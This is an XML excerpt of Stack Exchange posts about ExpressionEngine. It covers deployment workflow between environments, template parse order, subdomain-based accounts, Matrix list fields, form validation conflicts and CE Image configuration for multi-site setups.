  <row Id="52" PostTypeId="2" ParentId="45" CreationDate="2012-11-16T12:51:02.800" Score="59" Body="&lt;p&gt;A long time ago I came across a graphic which presented it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code&lt;/strong&gt; should flow in this direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development &gt;&gt; Staging &gt;&gt; Production&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Content&lt;/strong&gt;, on the other hand, should flow in the opposite direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development &amp;lt;&amp;lt; Staging &amp;lt;&amp;lt; Production&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, you should populate your development and staging environments with live content (to test your latest changes), then move your template code to staging and production. In this case code refers to your ExpressionEngine template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously easier said than done in ExpressionEngine since content and structure is stored together in the database, and there is no migration system to speak of. However, I believe it's still important to try and follow this as closely as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the way I do things is to document any changes you make to your content structure during development (channels, custom fields etc). Then, if possible, make those structural changes on a staging site, before bringing your template code onto staging. If that works, make the structural changes on production, before updating your template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, any structural changes you make won't break your existing template code (e.g. try to avoid renaming custom fields just for the sake of it). This is why it's important to test things on a staging site first, so you know your live site will not go down as you update your content structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-16T12:51:02.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostTypeId="2" ParentId="6" CreationDate="2012-11-16T13:51:07.290" Score="41" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;No one can be told what the Parse Order is, you have to see it for&#xA;  yourself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Jest aside, parse order is a very tricky subject indeed. My PDF and blog article will help somewhat in grasping it, and some might find my &lt;a href=&quot;https://speakerdeck.com/low/parse-order-pro&quot; rel=&quot;noreferrer&quot;&gt;Parse Order Pro sides&lt;/a&gt; helpful. But those only are pointers to a more general approach to EE's template parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is, EE's parse order is &lt;strong&gt;linear&lt;/strong&gt;; things happen after another. The &lt;em&gt;things&lt;/em&gt; in this case is the replacing of tags and variables. The &lt;em&gt;happen after another&lt;/em&gt; is the order we speak of. Things in the template are replaced, but can only be replaced if they are &lt;em&gt;in the template&lt;/em&gt;. When certain tags or variables are put into the template &lt;em&gt;after&lt;/em&gt; their parsing stage (according to my pdf) has passed, they will remain unparsed. This is the main reason parse order issues exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the PDF and blog post only glances at module and plugin tags, but their parse order is intricate in its own. I tried to explain this in my &lt;a href=&quot;https://speakerdeck.com/low/parse-order-pro&quot; rel=&quot;noreferrer&quot;&gt;Parse Order Pro slides&lt;/a&gt;, starting from slide #88. I could go on with explaining it, but this post might get too lengthy for that. Instead, I'll answer your last question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why not just have everything early parsed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Main reason: security. The values of early parsed vars can be parsed by EE's template parser, which means they can potentially break the template. This is especially true if the variable type is a text input field or textarea. The user can put anything in there, including tags or even PHP if the template where the variable is present has that enabled. Developers who know what they're doing can use textareas with early parsing turned on (effectively Snippets), sure. But you can hide those, keeping the templates safe from your user's curious little hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, keep your vars as late parsed vars, &lt;em&gt;unless&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're using them as input for vars or tags&lt;/li&gt;&#xA;&lt;li&gt;You're using them in conditionals&lt;/li&gt;&#xA;&lt;li&gt;They contain other vars/tags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could basically say: enable early parsing &lt;strong&gt;if you need the variable content in stages 2 to 8&lt;/strong&gt;, leave it disabled if you don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can also parse Low Variables during the Tags stage (#5), in which case having early parsing enabled is irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-08-23T07:40:59.157" LastActivityDate="2013-08-23T07:40:59.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostTypeId="2" ParentId="45" CreationDate="2012-11-16T14:02:35.757" Score="25" Body="&lt;p&gt;In short, we handle these issues on a case-by-case basis. Adrian described it well. Here are two slides from a presentation I did on the topic: &lt;a href=&quot;https://speakerdeck.com/erikreagan/environments-and-version-control-in-ee-the-why-and-how?slide=81&quot;&gt;schema flow&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://speakerdeck.com/erikreagan/environments-and-version-control-in-ee-the-why-and-how?slide=82&quot;&gt;content flow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that makes the described process easy for us is that we rarely work on multiple large features at a time. We build one, deploy. Build another, deploy. So we don't have to pick and choose which features get deployed at certain times (which would be a huge pain).&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2012-11-16T14:02:35.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="2" ParentId="51" CreationDate="2012-11-16T14:08:13.080" Score="1" Body="&lt;p&gt;Did you try with the 'paginate_base' parameter in the &lt;a href=&quot;http://www.solspace.com/docs/detail/super_search_results/&quot; rel=&quot;nofollow&quot;&gt;exp:super_search:results tag&lt;/a&gt;? Weirdly, I don't find any reference to this parameter in the documentation, but I'm using it in all my sites.&lt;/p&gt;&#xA;" OwnerUserId="190" LastEditorUserId="16" LastEditDate="2012-11-28T08:42:55.370" LastActivityDate="2012-11-28T08:42:55.370" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostTypeId="2" ParentId="22" CreationDate="2012-11-16T15:04:58.780" Score="4" Body="&lt;p&gt;The short answer is that there isn't a easy solution that will migrate all of the galleries features to EE2, without getting your hands a little dirty in code, other add-ons, or doing some manual migration by writing SQL queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like you mentioned, the Gallery wasn't migrated to EE2, which was either an oversight when EE2 was built or just not a priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event you don't have a developer to manually migrate galleries for you using raw queries, it seems like the other option would be to familiarize yourself with Matrix or other EE2 gallery solutions, and manually migrate them by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this seems like choosing the lesser of two evils, but in my experience, those are the two options.&lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2012-11-16T15:04:58.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="57" PostTypeId="1" AcceptedAnswerId="59" CreationDate="2012-11-16T15:47:45.803" Score="4" ViewCount="205" Body="&lt;p&gt;I'm wanting to use EE2 for a SaaS product where account holders view their instance of the service through a subdomain. I'd like to take advantage of channels that combine similar structured content across all accounts, but have the subdomain help limit the content that is displayed to just that account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a structure like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;my-ee-site.com/  -&gt;  Marketing site &lt;/li&gt;&#xA;&lt;li&gt;my-ee-site.com/settings -&gt; 404&lt;/li&gt;&#xA;&lt;li&gt;account1.my-ee-site.com/  -&gt; Account 1's publicly available content&lt;/li&gt;&#xA;&lt;li&gt;account1.my-ee-site.com/settings  -&gt;  Redirect to account specific login page [logged out] or account owner's settings page [logged in]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm considering an accounts channel with a user-editable subdomain mapped to a more permanent account id, that way I can attach more than one member to it. I was also thinking I could also attach this account id to all content during the content creation process so I could easily filter by it (i'd be using safecracker, not through the control panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you done this before? Are there other routes I should consider?&lt;/p&gt;&#xA;" OwnerUserId="54" LastEditorUserId="22" LastEditDate="2012-11-16T18:51:20.927" LastActivityDate="2012-11-16T18:51:20.927" Title="Account specific content by subdomain" Tags="|ee2|subdomain|saas|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostTypeId="2" ParentId="57" CreationDate="2012-11-16T15:59:02.077" Score="5" Body="&lt;p&gt;You should probably check that your intended use is permitted under the &lt;a href=&quot;http://expressionengine.com/user_guide/license.html#restrictions&quot;&gt;EE license&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Restrictions&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unless you have been granted prior, written consent from EllisLab,&#xA;  Inc., you may not:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Use the Software as the basis of a hosted blogging service, or to&#xA;  provide hosting services to others. &lt;/li&gt;&#xA;  &lt;li&gt;Reproduce, distribute, or transfer&#xA;  the Software, or portions thereof, to any third party. &lt;/li&gt;&#xA;  &lt;li&gt;Sell, rent, lease, assign, or sublet the Software or portions thereof. &lt;/li&gt;&#xA;  &lt;li&gt;Grant rights to any other person. Use the Software in violation of any U.S.&#xA;  or international law or regulation.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd drop EllisLab quick line via &lt;a href=&quot;http://expressionengine.com/support&quot;&gt;their contact form&lt;/a&gt; to find out.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-16T15:59:02.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="59" PostTypeId="2" ParentId="57" CreationDate="2012-11-16T16:15:54.023" Score="5" Body="&lt;p&gt;This is doable with EE (assuming you get thumbs up on the legal licence side of things).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to set up your domain so all (or most) subdomains resolve to a single location. You'll also need to configure apache to listen for traffic for all subdomains for your main domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the following articles for details in performing this step: &#xA;&lt;a href=&quot;http://www.bybjorn.com/598/&quot;&gt;http://www.bybjorn.com/598/&lt;/a&gt;&#xA;http://net.tutsplus.com/tutorials/php/basecamp-style-subdomains-with-codeigniter/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably write an extension that would check to make sure the subdomain is an valid account, and then add a bunch of global variables for use in templates.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-11-16T16:15:54.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="1" AcceptedAnswerId="61" CreationDate="2012-11-16T17:34:25.110" Score="5" ViewCount="447" Body="&lt;p&gt;We're integrating a new client site that has a rather unique need. We have a matrix field with two columns. The second column needs to be output in the template in a list format (LI tags). Originally we planned on integrating P&amp;amp;T List for the second column but we found that it doesn't allow carriage returns, which is another requirement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the template we'll be integrating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.itistic.com/projects/radiologyassociates/html/radiologists/kedar.asp&quot; rel=&quot;noreferrer&quot;&gt;http://www.itistic.com/projects/radiologyassociates/html/radiologists/kedar.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using Matrix to output custom designations for each radiologist. In the page above, the USF Associate Professor list would be an example of a custom designation. So in our Custom Designations Matrix field we'd have the following columns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USF Associate Professor   |   - Body Imaging&#xA;                              - Musculoskeletal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. and here's another example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.itistic.com/projects/radiologyassociates/html/radiologists/feldman.asp&quot; rel=&quot;noreferrer&quot;&gt;http://www.itistic.com/projects/radiologyassociates/html/radiologists/feldman.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this entry, the Cross Sectional Imaging Fellowship would be a custom designation that's input via this Matrix field. You can see here that we need the ability to do line breaks/carriage returns in a single list item. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cross Sectional Imaging Fellowship   |   - Mayo Clinic&#xA;                                           Jacksonville, FL&#xA;                                           Body Imaging&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any options?&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-11-17T04:09:00.463" Title="Matrix column with list field type" Tags="|matrix|list|custom-fields|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="61" PostTypeId="2" ParentId="60" CreationDate="2012-11-16T17:45:49.407" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/experience/smartdown.ee_addon&quot;&gt;Markdown&lt;/a&gt; is probably worth considering, although users would familiarise themselves with the two-trailing-spaces linebreak behaviour, which isn't exactly intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using WYSIWYG fields elsewhere that's also an option. For example, you could easily setup a &lt;a href=&quot;http://pixelandtonic.com/wygwam&quot;&gt;Wygwam&lt;/a&gt; editor config which only has the bulleted list control enabled. That would be crazy-simple and fairly robust, as users aren't going to start screwing around with other controls that might make a mess of the layout.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="22" LastEditDate="2012-11-16T19:39:21.500" LastActivityDate="2012-11-16T19:39:21.500" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="2" ParentId="60" CreationDate="2012-11-16T17:57:12.370" Score="2" Body="&lt;p&gt;Are you using Low Variables? you can put a low variable, which contains a matrix field, inside a matrix and that would theoretically give you the list that you need inside that cell. I haven't tried this myself, but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could check out &lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot; rel=&quot;nofollow&quot;&gt;Nolan&lt;/a&gt;, which lets you have a simple matrix inside a matrix.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-16T17:57:12.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostTypeId="2" ParentId="60" CreationDate="2012-11-16T18:01:42.193" Score="6" Body="&lt;p&gt;Not the best though, maybe use 3 columns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pt-list&quot;&gt;PT List&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot;&gt;Nolan&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {your_matrix_field}&#xA;        &amp;lt;h3&amp;gt;{mx_text_title}&amp;lt;/h3&amp;gt;&#xA;&#xA;        {if mx_nolan_items}&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    {!-- single line so our backspace isn't having to count blank spaces --}&#xA;                    {mx_nolan_items backspace='4'}{nolan_item}&amp;lt;br&amp;gt;{/mx_nolan_items}&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if mx_ptlist_items}&#xA;            {mx_ptlist_items}&#xA;        {/if}&#xA;&#xA;    {/your_matrix_field}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you explain in the field directions or via &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-publish-hints&quot;&gt;NSM Publish Hints&lt;/a&gt; that they should only use the list or the nolan for each row. So only one or the other vs both at once.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-11-16T18:08:45.150" LastActivityDate="2012-11-16T18:08:45.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="64" PostTypeId="2" ParentId="45" CreationDate="2012-11-16T18:02:19.197" Score="3" Body="&lt;p&gt;I follow pretty much just what Adrian Macneil explained. I use git and Beanstalk for deployments. It makes it easy to deploy one branch (dev for example) to the staging server online. Once that code is all ready, I merge it with the production branch, and deploy that to the live/production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, there's an add-on being developed for syncing fields, channels, etc. between servers. It's still in alpha, but it looks very promising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckimrie/Site-Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-16T18:02:19.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="1" AcceptedAnswerId="156" CreationDate="2012-11-16T22:01:02.370" Score="6" ViewCount="756" Body="&lt;p&gt;I'm using the jQuery Validate (&lt;a href=&quot;https://github.com/jzaefferer/jquery-validation/tree/1.9.0&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jzaefferer/jquery-validation/tree/1.9.0&lt;/a&gt;) and Watermark (&lt;a href=&quot;http://code.google.com/p/jquery-watermark/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/jquery-watermark/&lt;/a&gt;) plugins in conjunction with ExpressionEngine's (2.4.0) native contact and comment forms.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The validation and watermarking behaviors are working as expected (showing errors inline, on submit, when fields are left blank or filled out incorrectly), however, when the form fields are filled out &lt;em&gt;correctly&lt;/em&gt; ExpressionEngine itself throws an &quot;x Field Required&quot; error message(&quot;Email Field Required&quot; for the Comment Form &quot;Email Message Required&quot; for the Contact) on submit, obviously preventing the forms submission.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One important caveat is that the site, which is not yet live, does not use memberships. So while I &lt;em&gt;can&lt;/em&gt; submit a comment when logged-in as super-admin, I cannot when testing as a regular &quot;logged-out&quot; user. Meanwhile I cannot send an email via the contact form in either scenario.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted adjustments to all the moving parts in this set-up that I can think of, without success, and so am left in a situation where I can &lt;em&gt;either&lt;/em&gt; validate inline with my desired watermarking behavior &lt;em&gt;or&lt;/em&gt; I can send the forms, not both. The complexity of these 3 interactions seems to &lt;em&gt;handily&lt;/em&gt; outstrip my capacity to successfully troubleshoot, as I've spent days fiddling to no avail, so any and all ideas by the more enlightened are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE comment form code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;obfuscated&quot; form_id=&quot;comment_form&quot; onsubmit=&quot;return validate('#comment_form');&quot;} &#xA;   &amp;lt;section class=&quot;commentformbox&quot; id=&quot;commentformbox&quot;&amp;gt; &#xA;&#xA;      &amp;lt;input type=&quot;hidden&quot; id=&quot;subject&quot; class=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; required value=&quot;Comment Form&quot;/&amp;gt; &#xA;      &amp;lt;div class=&quot;inputbox&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;name&quot; class=&quot;name&quot; name=&quot;name&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;inputbox&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;from&quot; class=&quot;from&quot; name=&quot;from&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;inputbox&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;url&quot; class=&quot;url&quot; name=&quot;url&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;textareabox&quot;&amp;gt;&amp;lt;textarea id=&quot;comment&quot; name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;input name=&quot;submit&quot; class=&quot;submitbutton&quot; type='submit' value='Submit Your Comment' style=&quot;cursor:pointer;&quot;/&amp;gt; &#xA;&#xA;   &amp;lt;/section&amp;gt;   &#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hidden fields resolve as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;comment_form&quot; method=&quot;post&quot; action=&quot;http://www.obfuscated/index.php/obfuscated&quot; onsubmit=&quot;return validate('#comment_form');&quot; novalidate=&quot;novalidate&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://www.obfuscated.com&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;obfuscated/permalink/obfuscated&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;PRV&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;obfuscated#s&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;7&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the validate &amp;amp; watermark call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;$('#name').watermark('Your Name',{useNative:false});&#xA;$('#from').watermark('Your Email',{useNative:false});&#xA;$('#url').watermark('Your Url (Optonal)',{useNative:false});&#xA;$('#comment').watermark('Your Comment'{useNative:false});&#xA;&#xA;$(&quot;#comment_form&quot;).validate({&#xA;     invalidHandler:$.watermark.showAll,&#xA;     onfocusout:false,&#xA;     rules:{&#xA;       name:&quot;required&quot;,&#xA;       from:{required:true,email:true},&#xA;       comment:&quot;required&quot;},&#xA;     messages:{&#xA;       name:&quot;X&quot;,&#xA;       from:&quot;X&quot;,&#xA;       comment:&quot;X&quot;},&#xA;       ignore:&quot;#url&quot;&#xA;})&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The email contact form is obviously slightly different, and also slightly more troublesome, but I thought I'd just start here for brevity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried removing other jQuery plugins present on the page, as well as a couple of EE plugins, without success. I have also already looked into solving this using Solspace's Freeform module and its Ajax settings, but as it seemed to require a re-think of some complex styling/behavior already in place I wanted to attempt to resolve this native implementation first, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. &lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="28" LastEditDate="2012-12-16T06:11:40.107" LastActivityDate="2012-12-16T06:17:33.493" Title="Native ExpressionEngine Forms w/ Jquery Validate &amp; Watermark Plugins" Tags="|forms|jquery|ajax|validation|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostTypeId="5" CreationDate="2012-11-17T07:05:23.557" Score="0" Body="&lt;p&gt;Stash is a very popular add-on which can be used for &quot;stashing&quot; blocks of text, code and tags for use throughout your ExpressionEngine templates. Stash can solve many problems and is very good for dealing with and getting around &quot;Parse Order&quot; issues which may arise in your templates. Stash is an advanced add-on though, may be used for very simple task as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find Stash &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;here at Devot:ee&lt;/a&gt; and directly at GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about Stash's creator in &lt;a href=&quot;http://focuslabllc.com/blog/an-interview-with-mark-croxton&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; from Focus Lab, LLC&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-11-18T17:07:14.380" LastActivityDate="2012-11-18T17:07:14.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostTypeId="4" CreationDate="2012-11-17T07:05:23.557" Score="0" Body="Questions about using the Stash add-on from Mark Croxton." OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-11-18T17:06:57.313" LastActivityDate="2012-11-18T17:06:57.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostTypeId="2" ParentId="21" CreationDate="2012-11-17T13:47:30.300" Score="6" Body="&lt;p&gt;The performance gains are not just about using fewer embeds, they're equally about using fewer channel:entries tags, which are expensive. Your example is obviously not a complete web page, but if it were, how would you set the page's title and meta data and any other dynamic stuff that belongs in the &amp;lt;head&amp;gt;? How would you send related dynamic content into a sidebar area or the footer? How would you handle pages that need a slighty different layout? The native approach would be to pepper the templates with channel:entries tags to fetch and output data in the same breath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash you can set those kind of things in a single channel:entries tag that also sets the body content, side content, footer content, extra javascripts or css, page options, and then spit them out again multiple times wherever you like in an embedded 'view' template or make conditional sections based on the stashed values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template partials approach also avoids the old 'dynamic sandwich' approach (ie, two embedded templates for your document header and footer)... Aside from the fact that one embedded template is better than two, it's also nice to have your entire 'view' markup contained in a single template.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-17T13:47:30.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostTypeId="1" AcceptedAnswerId="75" CreationDate="2012-11-17T19:13:43.740" Score="5" ViewCount="286" Body="&lt;p&gt;have an MSM site that I’ve just moved from test to production and we’re white screening on the front-end.&#xA;I suspected CE Image straight off - commented out my tags and sure enough, the site loaded sans images.&#xA;I’ve set 128M for CE Image via the config file and then inside index.php we’ve got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] = array(); // This array must be associative&#xA;$assign_to_config['global_vars']['ce_image_document_root'] = '/home/user/public_html/msm-site/';&#xA;$assign_to_config['global_vars']['ce_image_src_regex'] = array();&#xA;$assign_to_config['global_vars']['ce_image_made_regex'] = array();&#xA;$assign_to_config['global_vars']['ce_image_encode_urls'] = 'no';&#xA;$assign_to_config['global_vars']['ce_image_disable_xss_check'] = 'yes'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine on the test server (although we didn’t set the memory limit on test).&#xA;Interestingly though, the config file editor in the CP is showing ce_image_memory_limit set at 64 and even changing it there isn’t allowed.&#xA;Where’s it going wrong?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-05T03:18:21.777" Title="CE Image configuration for MSM" Tags="|ce-image|multi-site-manager|config|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="71" PostTypeId="1" CreationDate="2012-11-17T21:37:12.037" Score="21" ViewCount="1983" Body="&lt;p&gt;In one site I'm getting a lot of spam via a contact form created with Freeform. Is there a good solution, besides adding a CAPTCHA?&lt;/p&gt;&#xA;" OwnerUserId="226" LastActivityDate="2015-04-14T10:30:32.720" Title="Avoid spam in contact forms" Tags="|forms|spam|" AnswerCount="11" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostTypeId="2" ParentId="70" CreationDate="2012-11-17T21:42:18.073" Score="5" Body="&lt;p&gt;You need to fill in the array for all of your domains that are part of MSM. I copied this from config.php for a 9 site MSM install and reduced it to just 3 sites to demonstrate: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ce_img stuff here&#xA;$config['ce_image_src_regex'] = array(&#xA;  '^http://maindomain.com/' =&amp;gt; '/var/www/vhosts/maindomain.com/httpdocs/',&#xA;  '^http://domain1.com/' =&amp;gt; '/var/www/vhosts/domain1.com/httpdocs/',&#xA;  '^http://domain2.com/' =&amp;gt; '/var/www/vhosts/domain2.com/httpdocs/'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you fill in the correct domains and server paths, you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="252" LastEditDate="2013-02-05T03:18:21.777" LastActivityDate="2013-02-05T03:18:21.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
